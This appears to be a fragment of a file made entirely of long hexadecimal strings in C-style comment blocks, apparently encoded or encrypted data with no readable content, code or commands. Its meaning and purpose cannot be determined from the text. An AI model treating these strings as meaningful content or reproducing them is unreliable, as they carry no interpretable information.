d05f7f61c19fcbfb6872709e927cadd38163bdc011310a21ef24f12ae280be81b2b3fc75ae8a0b678569ee521216781f9ab995be62f4db45c46c31103f6a158488b554e62ecfeff054b3a1accfa479a2cf126bf98b597a89604945a93cc22dcfb4b59ccb7a50cbc2b636dd7fd25b6b4e558e5fba31e68779aca3ba180581a24de4a3d749a7d3a4d61f1dc1b999548d0ecd20c285013154f2002c07bb472defd2df4f6567aca8e105c43ab2b86f50cd94babc311f39493641f49cf64321bb023eef67dcc81c318c6810884e0c0a26a0bd3029a71537c30e2b52a79fc708b598e66634067600270d2a6179ad333f88e6a1fcf6c1f46b7d1b80df066e51a3807c54e8c54ea1f624edf881e750615958586f36f5ec5ad97129f94899c4c28188f3d430c823d46d43c2bbd1a65c1a6788958d06eb2024c2d8ba13af97423e96bbc885ded9854d14572cbba91e97751e8da5d81ee56864d8308d0e970b69e1ceb8d039da2ff3378a244babd6fe5cec41110d986ac929c30a9cf09271ebb96883c049797df2f36c7e24920d0bfd1f573369a1c82b48e1c335b83001c1cf05c6f1bb6d767e5095e7df5e73a4ac97dec3b5f5389b0407e076da761641aee3b7407185d740e9ce6062b799fe53b9cc4364f3d3324d65b25564ffda3b815b1aa723e3c37b1d84b154eda93cdaf90c84c2db6b4496c09f663b8666f5e7cdd5b3373d13b670c7444e80c0bf59adae732bbd5853818a916227e71a3264c33712c3c2888a29fa9f145c34d9755bbcb4dd752e092f3404f3c1c91cbbec0265a0091a4b2e9f439bbbe3e*/
/*5e505eed95b16715508a60c9ac0f59ca307878f077dad772f4d3bb70a6664d347d4416fee5ddfbdb5d94a525b13743f6bbac36169e3eeea332772c64722f846f46b801c87feeb827c4b477fcb2e292980527b3a45da7026ef909c441271044d0a1f021eefe53d828f2c10a0369ebf3a3112fab64c065a5ec9e7dae8f71ebe7f6235c225c307f680f69a8f250d0b3e25dc336556c24181b81a1ebf4e8488da2e941c1499c6d1d76c682059507fd49aa5ef7fc318f0b79706d6152c42f72e8aaeb9bf085e054d6c06cf0ebaec83e53133b20328cb72ea5e3d6d20a81b78bfe26cc163136b58ab78a0f0cc06cc49247fc3e1165c9a0172e6d43eb936513b6e1a0ef6b29e883b9a661f79d481b56e8233a024d41f5d41e2800adbce807d94b8b583add84fcfe721860f302af7ace0402abd49b00c33076a108ca1de0eeb89e547d6acc558ea211de5cec591dfdf17b28325c2865a40470d61479761da419754e28e7ba7392b0934da646a2ebf168b9a67c05d1081966f11d921bc0f6f62a56574ce91f89c9d7c6afb00a157f0069788c186de98773e3941a4982736e43836a7223a061df413249c2abc00abb8782263e475eac93f4167a2ec28fdd267fd422692b2643e9d5e9c0722a46936c6929a2cc5f66916767f3dc3c426f5d8d84fd0099ed2a4d791a8dd12acb737511317a220d5262676ee78b406a2253f0afcf243677008aadc8f73fa2d883b8079a415632131ef1399baf85b0d64d8fddf99516bf0723885d6688c26f6263358293db40406d4f3ef911c47830fd8846031e1515758489f587166dd66c1cf77e065e2e9a751915a916e712d22ee7d01b3a85d31b0c6b3fdeb844a321d8d0cf3e0d5b4dfc1b5a6668c09972db720f41748865804cb80aa6e54bf095d83fa46c7c25cc4d674610c239747bc9b52d894be55bf2d756b39a7453237f05287fb2e825f4ed11557b3d524a33e3e4bc3f7e45a99f6aa21588f71c5713545125de1dd639e3017f8be31133cc8a119eb462baac7fa0418a8a2e77c1fa6576edf3f83486613b791a3be691b4570db9d6da546cd2cded409e2d82c35e112769008cb3beaa465e23c5107e95db8b4c484fcbda16e1aea1f48268a60e9cd01430eff21a425eb4a639404c13994f00a024c84f98b737483ee89319256ed5243053a892a94a7ab60ea1a0d54d294940cb097d15b2be7b08d5399f8d4b12e8c87834cd5ecb44a34364380537ba4979afe6f0824ec00212960a09f81ee85480c4eca9e110ae4842b4e1b5fdad84570bf255f63818f4a603e3f9e6470fea040f3f88ce9d29552739ade943e5df9261ad489b7966efb22b07654400c0485f3cc0c58017d8416a7f0d4a262efda3150fcd092f38e5ad4b862d6df9383645a64dc9f6a504bedd6f0d9b7416d1460dd469a0e1604be9988f648df0e75e42fe2c8c7b263889aabebf79879c9215397a2b895de3339aefd99c9a8fcb530995d73fd03207d944aea8ab141e7337c0282d1dc56d64f4c82ae02210de3227e304d3d59536012d6e351219468101159b41d80ad4bb5e99ef8e7809219fa5b3f3f13ae151be3035685bc90f3dcf2cfd1b03830dcf6cd9932330891a01191e552504d802fce4d301f15059b3103a971b435a809bcce68bf4e70c73dce36267b33f603b797dd24145bd625b2791186f47a2f2c4e242cf35bc18cbaf1fa692b388e33fd7c5e99e79cb2e93d59d2be4f453db0aa644343c44e6f95cdf8b0ca0887a329a7c4eb8ff8ad1fadc8df5807f57c2d24e966e81d8c268b68c30b747e94b9b2d04936bc0799ba44d72a149af6f918531d6069219f1dc8e7895e48da77c7f9c9d4d645ff483cc9978773ef15680488a9b3947645584fd23f263f160aa043742c9fb704f2f81516a3aebd63a13f0335dc599a9ed1eba7b050005822631c8508b9fed2ccfc399a3bc2c23f62d95d00bd910d1aea71f3a6bf01213ff20c89738571fc03c759bce13614e3de067141859c802b04590bb380a7bb23fe48f9bae96a3e33386f8dc8348f0d781b07089f302272526cec0dcb79a8de1723cc1b1a04f35d8545b0fa52aa237b020f36eb612e095eb7af12573901b34b9be60474af7dac38d617a4159da19f63a277f788f051392819ddcdf2b2d946e078f971b79e47ad47bab1053b79c796b7547aeb0f7cc560ac279f8a8b097d7448865904a96ef9b6f4524c9a24ff0116a9a8895ab2eefe812f9ede3b70f9160aff528675df75b836296c5b63b0b845d43fc23fa65cecdb8993de133ac12f5b694766be0d2f781b3838747efd1cb195d02b8da1793796f64184b27c4facdfc7fdee72043f49200f592e80c75e9750032dd6003cd6982dd51f9508ad1a8cf8b8ceacf9c052d9d68fb6021d93753c96de1eef2687e53081434b983a30f8760d381062d20961cddae22c6d3476daaa65b2371163abd0727a52bfb3a8ae76f8bf0f35f18aadc8a772092dbb16c53a6daea21cd87630c323e14bbe68b1f12481ddfd577a5f03e84f53e774a27fad2ac07d2d2fa2ab9537df0e771bffd57f4d34474863c452c721c013de6785ef722493ba8ee320d2ff7fb1e2c7da630ce9c2a1717a647d95e6566b267117d27508aa92adb49780d410457d18ca48948e6a4cba03738bf9ee9d61d06eab8fc041fa85b4845dbcb54627cb48bda82d7bd7cc0c5505f0f84fb7c549c7393665c8a4c5d924a32b2190c5c2ec0d7466f2c9795311aa2e28403bba680ded58814de95bcb0c34b865d68bb0a97db82f7cbdc5e6187048d40152f50ff5b57fd1eb847b9b108a7b042d48f3282f6f7264d45a45a00bfae16d590*/
/*65b3988d7a8edb777183ecbe35f2e7aa6142f8076138ec7412d20389783b1d6966e04491d8fb61ae73e508abd0d0c68bcfbfea78e45e54772b3fb666f0d6c4538a65d4fa75df9c2d3fa686112b9d5778a64090b2abef9b3f1ebb73503c7ad6f1cad6eac03937baf8b63e0e506c1efc450755e7a77b2fb8cad0e33b8203a840d5742e74fae999300160571c8f11aee51facca4b882ead84b8c9b1e322c4e9c666aab9f42e526d5ce13e72749fa92e7699c460db9bd3b1e321ebb9d8eb59639ee316a345e51f002241887a151b0737a3f6c5faf9fb2d1f92e9ee16bf424fb73ae1bf25f6a8bafcca3a77923f78f1f3fb3bb89d76496069b732b2615c3a9a536b833c5300922d27edc7e78f5bbfb0f8873924d99caab7bdf287052048e1ea967302772eb125733ed09895f78bcbf7a03a44b685f81dc815bef176799aee4bf2eb2805ab86ee0c01cf56e688017e52ae4188d24b78d1823cf9b63ce5ba92b5b8afb7a7f1e2ca4af35cafed1d52d966d2d73c2f0c278a70f1d20b3e126dfbc931bb3c42188e00ce9ad86a203b837cffbf61451bb73076d0885d510f80f7d42169756ada412cb328a96087c1e7f72b2f54415d7d8048ddedfb920c2015f6d9a829f5b57fc5a93555971f61d7d71ec397dc73a431c3867e1c7f35ebdda3b6a3f40a73abb862354f6f7e360e9d09515a91e87a3e9832c52f103e72dfe4f2282796089ee1955b2e4138b738b94b28743be16514007fca5ffb8a63da7b254008f77b66f23cdf7e6da63f25e83136687b5d5955cf1f6f6d0dc984d33306804ace7e768318dc846e6d919c7f36d3c880e6fedada1a4dd8578c0d7c1e4bb2d580f6c7b3a6b5baa524b08198cbd581fd891a75f467815eadd79f0b4c245e150d3b022315c13f35d7c68069ca481c6f9353c4c20300fa5437f1428f72bf0b54e1bbf18c49a7365815b0a7d4e966efcbd8ed32e25895ee7b4fa84e72202e520d3665c0435438b29aae005493d8589a58cd32aed3040965b012e24a5f78b6d97b00c6c67acd61f95187b4783ad386ecd2cecc5f8dc64f54be6edde3f43832df02eaa3604809f8794fbb08c5899024a05c1f0bb982e6b067ba131377f6639edba3da14fc4d140d4f8af749b6d4e49bca25ed0c0efcaa3ac500f6e3d254102a45f40c0520ee08ad9ebc7ad535be899f4fe3c41a945a92a6856a5f06f71a2af52276fec322b4269aedc1ef40782dc6b4c7b7fde9fc88c21fe35255df1d701bf2da55b4f79c7ec7ca283bdf251cad788c6fd6c2a177e54543c45a64482b42a46773aca6324d58700bfc655060fdf0f9318b89589989ee794fc6270d10d7a0029551bf525571b8bc8de0671b24cfd19d6fb63358f51210162c080fe493c2cfa03e88b37c63238ae5ddf498d57447bb520377a4c1732acaa8e237cb43ae7e13881cad59fdad97a5558b52e673bd2fa5e6eeb961907d9a39ddf1995b9b91efbe26f03c5fa91e276af7e67ca05e8866cbf4ffadf96fea2bf240b316574d17295f6cbc04eaf11518bb3fdf2be1a18f17bde3adfbbaaf0a57f8cb6b96b8b4a821b5cf2adea7dd9a673292667e6237e1f767274a5e12fc05d95de8790a3e2a1c160c74ff4f50cd5ecf50433ad38f3aba9679bda03cb62c2beb8309303bf4ad36e99fabdf0be51bce1d24314b1d6d70923a350670e4d08f316834e4283d5fdccbf1303ac0e476e398f5cac5d0ffe014509e2840717df833a5b78e7e88ce70440b5fde0896e82f020004b9b2b7dbc809dde8001a35fdd54773e68bbec6f792b10608f5cbadbd6c61c8138d6820717c1391ae4113d83be0bdca77f584c38b2105f121eb286f7a9a12c3265baf9ac4841dbc4b133c4719edf00922326cd16dcd899383d9012f1649db136dd91a6afae31bd67318992b7b2b3856c71c6a48050066b50a82141e78ef0104429ede14cef9a7ecd6799cda8c1539c339e9e4911ef765ddf5d777b55433170b9a29ef5ae0bad4fa013ab800058f2668384e6c7689f94f4f14c9885df586828211d601e8cc17a034d79286c32df318569bef87b075cc6f4b9459e18c455ef33283f82cd8a7b7e1294a10bd467861c8bddf0df5c64165422bcb3a211641b0adafcd8af80543da374b2868eaef968f554ae2856b85390142065b8d238883a0a7d3a9713ce8af7e4627061987abca8b2586ded86dd34b076d4d3ad7bb924ddf1d9f79933eec61c453f4bfc7bfe48105cc53b9b7e281b76b2028e0f6af2ddf6167560944db8c149d63f2313b1eb6455c684e5ca584d11f926c113eda416a7016840d0d7ab388a17952006cd6aaf84ce771cdc35ec0a58e2ec864a9a0dbec7e2e64e75855c731c752014925ccd587f451b8ff968a05bd9824538be3ed4ac1c98a2abb5bba6b92b086b1035950999bfe9a94c80ebcc89251cfe04695b0cf7c48ee267e3804b74dcff1d17b771e87493ae8a93cbd535d1e51ff2a6cfd4eee357523073976a753f8a8c2b49a243c9c91f1d0be5df7614af7652418a174c51721a5b76432e3f7d58daa8de0519eb25ee6eade3932e97509dd4f0cfefd10ecd35f6193a610f1da9ba740a79718f21b9e8cd275395df542a116bab22f2c469a87419f757d94367cbb44021cd9ad2a3f8a2170f1c599acbb1fe6a5caa364f221e75c3f826de59a36db0aa317cd9bc270ed4e4f607433b6fe5ee0ec43e719aa390dcac489b94523378412175ff3307e84079914251c95e6bdbd46eaf4e4a46cd84ccf9a1a69931ab3a675e7fbd552ab7f1f5e6301e47661079fe5ecc8858aa9778dd0cc21398272a2c2f6f9c5a5b7c17ae262a9d8e51c4fd37d4c90ad*/
/*bac3998e1e9f039d0d960ef2948dc7204914a284fa02591d5473521052cca767301f88a4b74fca525ca4817a8c409702bdaacb4f39dc999185c15f7f073d5769aabc262a22760120073516170cabc47bf754f1bb66bb35b9020412eef1fbd03b7375d03b99569e9c43d67a92e3f235f76c2676cddaa91e14603cae423794ee5f9aef9234b9036d2ce91615fa5ceae71951da53a741fad014add7c94226489e4a004accf3eb9157e7c6ba1daac71cd8ed84723c60a9053d1f4a83f7efada31d3a68b368ec174d3adfa099b991f539d25b8ab27610b3b41d79dd37f55677a17767c87d857e88501e18dc2f549b5be37b217960b2ceaedf13d01a19f7ee9c85413e6a8fd7420e52c31acabb9a19a54fe9f08287b38eb818341d23ff38f4012c444166797ce53f6866d9d55ff972ea233c77a1c8d475885136653885ada0f436557c94daa769c4bc41a317813681b59a26d00456b5bb7b03c081ae93a024d1e0e0608c515ff7bf1b000fd26189d03bc64bdc68cf367b45fbb3a1bb3d68f4bd1b403efec6972e584de0fb277968b39e2abc8c157513e77d9b1db6fb70791bb1bdc3681afb64fc1dcae4566ce794fe41d017c13d7028964254503f14ff45073725745476c7be02433e34a0fdb5154e0572894fd0587cb4501b84dd0541595db258a2a3028c3cc4bb85fa4deec0c0313254a6b3d4840a13bcaf861427900aeb0f75d00db9e607c351da170e46296d033654a8ef8bbcbc6e23b6bfcc2d4596dd102d968ed5d4a9715eece07e33d76bec750630d675c93c28c3372b53d6bdbf5eac2037d932ebe4e7ba6f5dba2dfe182748f8163186a38177bf26c58a42b80fd461563aa16fddfaee381b3bc583891bff29694f1ab76c23a99363746eae3c2711f32df429bf359221011f4da268b1d85b8fc93bcf01be6e63781920eef9f2e91e33ceb1f29d439805f61597202018538d5373f08f155a884a44f9d61f301c2581f4b2da43487d3241008e6dfcba0605f96a4aae88819226836f1b4da15a36fa0fd92a501188dc94942419bdba958d40178038d3f3d8d95bfdb7d4eaa7cd0f986b9cc86d698211ea1bdcd35035f3719cf45c3fa5be9188099db2981b4bff7343b08b97219c770196c8080fbee5e2e235296e0a8801faaf4c4d87612cc6170c19e634ea73bed0f6f6979e3b01ac00a9761eeef102e2b1b086c7400835b9749ac0bd03ebf53441347629b934e0c95f9be689ac975f3534c2490a3e01fa2cc4815118c3ccf12ab6264f479bd92ccf9e7d50878085e8d452b2d6d56f3a4a33f28bd38cc49e3609e5c2d4e8e877f3ce920694188a92f8431dbdaba68636875900327250b4c3b04c1bde8f6dbfb1d950cfcad1a30f2fa199dbdc78ea0f5bc0bb51a0308ed9f08d19b3636befd03c941e646ef8f496a560b9fe3be79dea8487c6e0344fb9368281112bc9b913b2c5de837c0cfea75a76443b6f5cf13d89d8708d5c8a93798c03c806e14024c8f0ff7e40670653306d84b4c7b7d308cc26d1fb614759196a7461d4cae67cf26a1e7b8efee6e47591afcb1840166aa60a96a78ed8cffb6e80d9a40c5b06531549d3ce1e1f142a87d5b4b79da75e8567f46abcbb3823d8ddf3814828e3a388f046c9ab86ebd2d2602829dece78afb1b07b67fe9383f8c0adf12cfa0327d28986b73c1233c1becc20f976e20758d2c9241d708d30d534a5858143429118860c5cc9a3369e5e603cbd8f49e5ac0c5f527f7cde466fb72e630bbed7ca9185a19477e7fe67e07f38ab38ef307b281954681456947fb11cded034383dcc3d13f2fc0f78c9c0dfafccf27efc2e9917b9a1ed2f90cd210174c5d58b495f52c5d51c37b7df6ad6eed58b7f1d2d62c2bb1d29b505fa666338275806c43137703e9b4a550d7d9b209b4ccdf7cbe74f934f337c834ae82c5c0bf96e41705e5386bf7fe848a0909567df1ebd79300d1a16584efec1501b31c1076d4faf31bce23ba7550adbe074cc35b850ee56297ebf1bb2a1192ae743dcd04315be26e3ea4e673e5efac90a083b500cf4f31e859610ebefffa2fb1846ee699f86bb238309407123b27bf548c382c9187a25eef276489685caf6916fd9bd11f0c1dab29c25f763b30d71508d43fe935682afc8736bd491e34c5b25e083a2140bfb5c9740d03141fb2721cb137b16c40e01e72b6badb11392d4e550bfdb46608053184836ba86b1bc17340ecaf639a8a421d2369bb8bd6fd3278784ff53f176886ebc885cf7233dfb771162364c4c9feef763a923286e7005842f2deaa26ee883288ed3053fb176d836c37c7469f58f27fdbe55464e3a5424ce7dee94bfcfc4b4a5fbc04d0723ca1a1735c2d1163d73e12282ca935a9a67cef7d2698bbde3821c6888ea873f4ed03dbc9e7c0eb8704c7c41dee44b5923c18510a8bd846caa941ba6058347d68c946d3e85ceab86150b72b8543c22782d26b3eeb1c68bf8d7feb348ac8e5a110fbda46bee2b5fcf12f71958c0fe6c3fec3d749cce3e0696ac16270c3230f292fe4842aa2d47df44b2153b7c0979b139bb6a015f8e800456933c9dbf245b769fac063f36eeff01a26b0f30fa6e3ce57bd92cd411d4d38b0f46e7e1b287f3f384ace1360aae93cc36ab56deb8a04151c7220d5ea60c38de63ab10d1d7b55b0746b64c16d71b2adc65716b5c3fe1d3be8493fc8293c1e201fdd15af5465e8d1b540d310f4154597e441ad0ec85934ac0c3b32b1b20286ba1bd16e39712a69d8a484ea8dcb6313fce546bbcea87063fd8b35107e5e3d67276eaf8f75f2e27085844f3ad8da03cb114cb92600d739bc0179d7771f74b*/
/*b5053f8e167601dfb5de58846e0ba0ec7c0b3d4f7b34cc287e456ff269aa0f95dde547b330f69c24dfb357b7531a8adf7daa664fbeee4f7b35768a3015633a644e27c765e5b077a2c67eb1674893607f51635ad61e5eea9ff33d5b8e7a4478becf5003e4d660a487c21df716da0e23d2b87410799e9d7d1b70b0c7f8652808688416c52dc8f0d29c0382f5c2a96152d644e52ba365a6d5c30460214e23e6779a8d191b3b91d5a9e18b5efb6c0e39062da4607c16f2e6454ba2889697f2a782f9099301b202759f8df7fb082a2dac5dd82c894f7b1af832587790e934ae81908e0351f3a6929fa8ae8357206e104304b80dcdfefe94edcc0a25937af15b8e40201bd2f1e9301ddfe69e536182f1a62fc0160777032e654079adb4e920fe5b43cc5b5184a9243440acbe25d6f6bcb66ccb5ec885fb4ee48394aec85f78f25406d379db9fbfd9870c3a161104949c65965f7eb0ec16bacd75eaedb54239b02f657c5786478e7318b20a9afce0959335dd4ba0e2047c8455fd2138d3b4bd83bcc4da0e3c1837b961c093d5f7f9a595708abbf32ef3aedf8a0ae63757c3b046bd5984fd7959504eabebe727d9656569ecfc0c0aa0203b4deb424ff4e97ade818b2be8161ef16006a2d223923cd8a863bf56bdcdeedb44d845c95663bf711af8793a15f856946e3a9b0506e92b6b55e913bab5ee1d77dc3ee4b71ee97a292ce70d0d34f1d6c4f64e7f23edd22458949bd80787a4e24b022620c7fdc9394ef1d3f04e300a598abebf44a64d9f757b1bb71eb4c9a8799d25965c999e3da504338fb9f22ab145adae476e08b11b6aa42de17b7af03a34bdfd6a19ab30058d03d250438ea95e16a7f4641cd9645bedd8eb01a4367493d579b58843c5a905c712aad5a23ef265aa3450dccfbbb4b8c5e58def14358bd90de0fb3ada542099e006c5d2ded3ff8f0612cc790b9a45a90b4f6237ea016a9b3bc6e295971bee9231885f0d0e1fbcbfb575813c03ed1b758b3876d1104fc72e8724c5a13f7549a18931d2b800e7d85599879086f1369d02217979aafeaa3d00999637079b623b9746764c6be55d8842bc22845882d79afaae4982fd01d1a1ffd48bca94e048b64ec29eaa986ee565bf7bc5e29204aceb05ce45f56176253a5a185479c51b90ecc98d617a8a35e028f3ce93fa7999b328a33b610901cb300c8c1a590268ef26b0d4ea26e11afb343cfbbfdaf49e8299e691e0447e339a39df90d5488f8a862625190274c330960968a8ca280fa4058ee2d55b7c033a791e2135e15e0d779e0c138ec7f4a2823669b96fa5abde18a6d3fd54cc2a9be8f662222bbaa35bf62145f17d8a786f660159a7f150dc655da3a44e952208eb4f8fafcf7d850016a34dbc070709eea405b355fb58f4c63f2ea3a7d40402170f14cbb3399dc3885f812865e76392a8850c45f82edb1d5695302d6e8600ec38d74149807e57e3ad5de96f635a527d18262e95cfaa2949e384ecdcfade3f684b3d6d9f1911c0a5a2f257d828a512dd246fc5343e0e1ab7f25f102758764af8a5c8bc1291ff13045d47bf0e85d4c76a2da3e7cb3dde7c8e05ffbb111379a3220e8016caea9a4329678f4b8026702475390f825cfc98a780fc9f29cce691b4249f845dc38c74103eac555d659b3710d7111ebff7a44442c874ed3cb50c00cb2bf24a60efada35a440347d3180b2a7fcd614dc8f8c57669c5fc711a7bce376fe262dc2b4e5ad7992cbd4533c44395cd85e38fe533289880be109aa16ccafdddc70090b65bb0612c787d4da3bc5c7016a14db044e80fd151c7bba4f0605e5117b292f417a5e9da8710bc16051033b27ac666e606d083a7ca70ce6e3be0301aa4c4fa4e1ee56c672ff2a4dcc4bafa2beb557988f8c64ca932fb4a70468ab199c52d929cb28505f52997f6134f36f464f807dd27fef43e9ca519488cc65107e7557c498196bb484b07f51aa0c94a899c5948862edbcfb17c565655fca32ed11bc7e2cebda478036d6a9f67ae23a46fc05765699b82a5fb4b7d05bd6c7f21d6cc1b4d0bfea9d1474d958511c971e7f3f302fad0d270a480929c7254aafd4dde334bfa6a090d23e3247ac63a932a45de551d1ed832bf3a0423fc18608ad5502876fc0f29f3ca432b98e2ae33afec18944914f95e126654bbd26f8bcdea5f3b913aadcfcd26e55fcf47c3cd53851bf698d599706f5ffd321c877a4d6cd66592d5f4b1ba479cd6b647444c03007c928e0d1513e71e29366478d7b551d8d19024ce081ff2c6c29fd7ad3f715272fad844ee3b68c8b169245aa2f6a6efe49394a2f119e69dbda79ff6f76a1d0e960e8a0f9f529ff03a9f7520f75830ad3e431b38bf8a832562029e949a8c168df0592eac71441fbc305ebdc9ea3793cb2c22d3b02aca1ed1d3c29a5d00451cddf85fb4fe1a7c0e328222cac419e24dcc897f39762ea41433aa99d349bbce24a0a220cbb8032f4571f557da83b5a44caf94eb3db2ae307d1650d38402e2f261a1b1ab91d52278f75039752749be5e601d5cd0dc8251c677df70b62588fbe446bf5b7a7925190f9deb5fcde746f0e55ac875bf08ef246a905fb9d4030ae71103b29a44a6a0bd536ace19bcaf0224e6b4c03a6128da397bb80e58d87a81612d8ba58141b3a39e2be7b469ee8107aeb3f78f9633261eb246b1a3b91a415d86732fe281da029d136bab4e48d42305904db8d434feaf535dfbb07b05f6cc4c3ccd8a6a9cd441daee47c974ef2c08e2d10cc7afc73635fc39de2e8cda97cb2634ecd332a137c253291bc18fcf90157b589a57716d2cf080a8e279864923d83e930a*/
/*259563fb3a90f286de4536f635b3a5df52c4dc56ebf04dce28700f169c7d7fb7c0c15f5c0c9f5d705e27d10863555c9c744758f7ad0642f817ee1f6c5ca09e7caafa7eb22203dda314067ddb3734a477924792a543c376db032d7ebcea4205dea9dabb4b52abd6c4c548d43a5db497b1ae6edf7a322dc34975e2b0ae313a4f74ee76b265577c7903db34ca0fe714ee59f1e324e8570064fea96445c42220b464824889185b3d7545639ac43f65be8de2e64004f1dfdc048a8801e22f61a7aae9f1f36593c467cf7d4498daec2ad40e8c584f01fa2d9755f5bc05a1dee05e4b8a5529b80f2edb4975adb3510a53a101a129fed8e4694c848c5d50b9de4888a58f2d8070dbc326eb54505f37d6eda69c08d46968b72d4fecf5911aa0e1cb660cdcad0b28a26511d6138de2ec602630c4bf7317f49ddc0a096ae5527a642d83acfd7fd930a94988efabf777b084f1c434a9bffa58dc0fc4d591050b7d98f8ed72e85e53f22e5f9d6d1081e8ef99391f6fb87fe2350d0e6dee03ca7a527abd9549171d7fef316a161ec03a76b13504604bd157f4ceea8d7eb6ccf8806ad0c6fa7d2f9e7e706b997dd55f0928ee6a8b7e3bc4ae3b6dcb182fea9d286f871c1df0c143175595141d9d09693a317889c9276e5089c0232e75333ecd0e931ffda802c85a10140be1b3da4de60562aac8a266178a74a3a29d38d2b658cc838fbcc2aab73e3873d16b03334c229fb493250e3eb0b042eb70beead713b9ff3cc007de6b2ce3b78f6d68970e6b4f735a07093303357e22f6746ad7fdb0f55ee42ac28d2848856eb9b1098c2fe58669992c0b395e3d8a8b7341810bdade39f5c380b6b264cb961b78f3ad3953dc566b7f19280d58b4078cbec955be31081444f842a7f14ca386c4f2daadf954275418db172032d40e412687671067e5ee894f92283f78cb1c950509c24866c13548c8437cb0b399bbb2a1caabe117d9980283128fe915619de56d19da2bf7110212c1572a779a7a464305394968ba78badd4729127e8f28afe9c650ce47e61006b128afb5494c09b252b6116c15490fa70194aafbdf6dd9c79aedc7ee73163283933cefde9eaa46731f2587a1320b4d46c445164d48fddcbb58029217320f8cb13ed7f13042712309fa5ebafe581e79ff4c55a9c3efc9eed0e5e6cc80fed8fcfd9aee4fa0b3beb36572c688efb4c0207799e89a22fe32a6b5c7434a61481f497c423f4f9ec4013e9eed4fbd2b01c097cb4002c2d9a398959ac32c1a053dceb8832a99848cd9caf6be39512fcbcb4c6c8f4a3a76228cbab332330340784f629685360ede13c4fca7ed9ff1ba2c895a4a69232f2f5d9de1c91d358ce980f73e5aa1267f34622d0be3af9cf397fc54d650710533aae31831ed4c7741960c89c7ed2e3d3b6cd0b51ae21a5222cc3bc8adc509aaa3e9258b8c35f80983294576b77f89b2c8161920e4b358f48c007393325907fcac685b5a70b27e550f3582d9d2e0350dc5c134732f905a9940beedc6746b11d8d5e13ab5cec6fa136c2e2f99fd8036fdf3c9b489a86b9100c491c3e6d8e1d299ca19763b85da5f51e2d18b17c8cbac8ed160c4c1cb65122bb8e9167ceef8880850706b23e0068a60ff26d7259819ec119018c162044c59d22d26c1f7df2e0a4f30bf41201c0f8424df1b86c3c5da6e7e8bd6c6152d4740cd24db67dd1393f59fa40073b4d220e6aa32b13bd744ecb1eb73def6e80261493660b545c89dade0885cdf3ec98d244e430393be6e3c5b744761e79127d0052dd99f9658bd1d2f5fe2b810677982fb7f5d75841d88c2b6712079df36035f341dd9c71a6f8536bc205eb22d9e2048b8ab7cd50d26b0ddb8b3c3bcb531df0d4513496e120e39586e24b98864d7225a62aa7348d88563c7e8eb8651e25928dd52ccd7dda6c69a51e8cddb16ce6417814c61f5453b1ee8e28043fe2765eda6df3b344df07e6999f057e2b98b4abf9779a1f5fed1a266a56337b4054937fc09bc81036d17532fa4240d9d21f8fb0417feba1637c6864e958686d6276a85748df424ac5fa6dd5be658bc157106fbb7535ae04768a411a52af6912ae84136b7982fbc23ec1149351e91f8b2fbd5ddb99e810af81d77fa1f756543c24e9f5b24774e9519f28b3eecb316756c82d004dd3e4b3b9f849bbb790b1f2c2bb181592bd9e37bf4c04a1ecf09798248ef273fb9cb2af49535fd228c2648993fa4aafed8e7371ed7a20aae9190d478894c5701a01274314f22555bee4eaa20b15f12cee67110c3acc7d1095cbecfd415136d463d8f62fb084012224a3f8957cd182c6feaf73c081c212ce94c93b9487eafcfa40abdd80dce5f2b4912508cb522892335c442f4a5d8a5a82397bbc9fc88827945157dff6baa444f1bfcf2df74dac3449704a01da63f7ba46018fe99eed61877fa58946511333d3d6d0a13ef2c5697b7d069eb4cbef253c97bb138428e7fb2d4db94aafffa0add2fa3933378700740f5071e5ab9ec3a1925062ee340c32a7ce12b5cf28e28809b28d3722934ffb8d73a5b164f274140dd57e9453f865666f9efc3352076f3eabf28be69a5fe88b11b4407413906bf5a29f8518968d329bbd007da802d5c44803b87f80be20894218f22843dccb8002886599ace8a830cf380bca7991893a11f6baccd69adf5bbd98ad7b76d06d6b887b401489a0524341f3ba5ef226f64944197395a5cd73e8d07ee1f55c5004468ae586bbf9963d162db5e20f685af8c79c7780403f1163a3e284f0898f757fcbdcd4bb1e13952c9766fd22381e1beb6994a674dbea211e763d0aed86c64a400198a82*/
/*37c1348bcd3b96634e90d856638711aeb22f5b6e35b73b2ddf4ef5e8262df45ed7e84e01829d69afb0f8b3a29072654eda37a6ca8d5fc74e6a15be0b4ea3b911f1d2d043c3fad7c84dc8823c6b81d3133724dd1fa68d5e2cafca2d7464665a68993550048df6b3e8150c48e9a6496e80e973f263bab7f0fd19999ba1d065fb95b0cccc173098a3c32cc89e0c8282ef006a18e1f2b2a322e9d40377f52b8e4f94b24252f56db14054ea9339bd7f54773534716eb20ea024b7aea521119b8530a1ade974623c02bad394e9ed9fe01aa314766683dec42d74b13e44a0237faf8289a66f8cde85fa810a6351bf143975c600e2bd46ed1fa80688521765c042cd2e1c2212597a11a616cf1abb703629d8c2f65fbbe32188b8f7741992601b62ed448286cc28e2a099ca1c7de2ad59112b2f3abc1f18af639766a3787403e2da5330c6493d2d812a1c184e429b9edaf03bb460d50115565f7f6ed009d29773719adde84b71516bee106955f0586dfc3acfbac0d7a07fca985f211a1fccaff9413a98837a335e6d14024279e965240c25615b7c4d383b77fc4d310f774e2814277c0aee4c2ac083c9cbe6b54dbd734a4bb35476867909a088d90ee5beb37fa1c4ca11b62be65fa974a408c84d79cb0f313e2352d96d95cef887afb8d74aa339cc9dbdf85abe4fefa0acdf0121a100eb3f10bde7107f15ded1a36b0638f14cd600925f9915a8664fdbf21620f750803e5c7dad459f4ca3e24d824f6e6682af579c1d0879446ef342998ab5e0c40917fb4475107e37e7cf0d8c31ed46b4231c8aa3726b184b40d658754a8c88bfce90ad669b999d1ace310b4184a36ceaaf4e3121cf4af59f03f842c53ccf5f2553ce3afa7ce58f4641d5988c1f9a77bef4c84bcba2ad4fa193889ff502ba7a508cf5710c0fadf049080c41c2d1798e1048ff23427cd110b20a5c853b77a9cf34cf281e3970dcab22ffa5c27eed497d25db48913aa518b4c08dfaf156c8bf3e82fc254934bfd8a1bafd738256e020f5f2c762699a192660e6f14338827c47e473013d581e85d797f0079e63a5081cea4a6c7f1c3091339e0cd80083a7ea7f0a5980da00c64debd50d2053f1aad618b06aaa78a7b0ec0abe1724b5183abe7164f2974581817f85dc9e6de7f8783766f1d457712bdc1b772472f7ed3cf2950d7f8a8ba0c3e63870ed1db5f2e35136b9e7e1ca9bc311cc3f12b184153d9d86d594a0065afde4fd772e6b089a040d717e76ce285a7df58669b6fc155cc4b037e738c5a70092a40af086d0d2b31fecd5b1ec112fd71818db72eba57ec7627579680ea70a9e4fedea8a0632b30da96a3ca07852226d3b3c608113f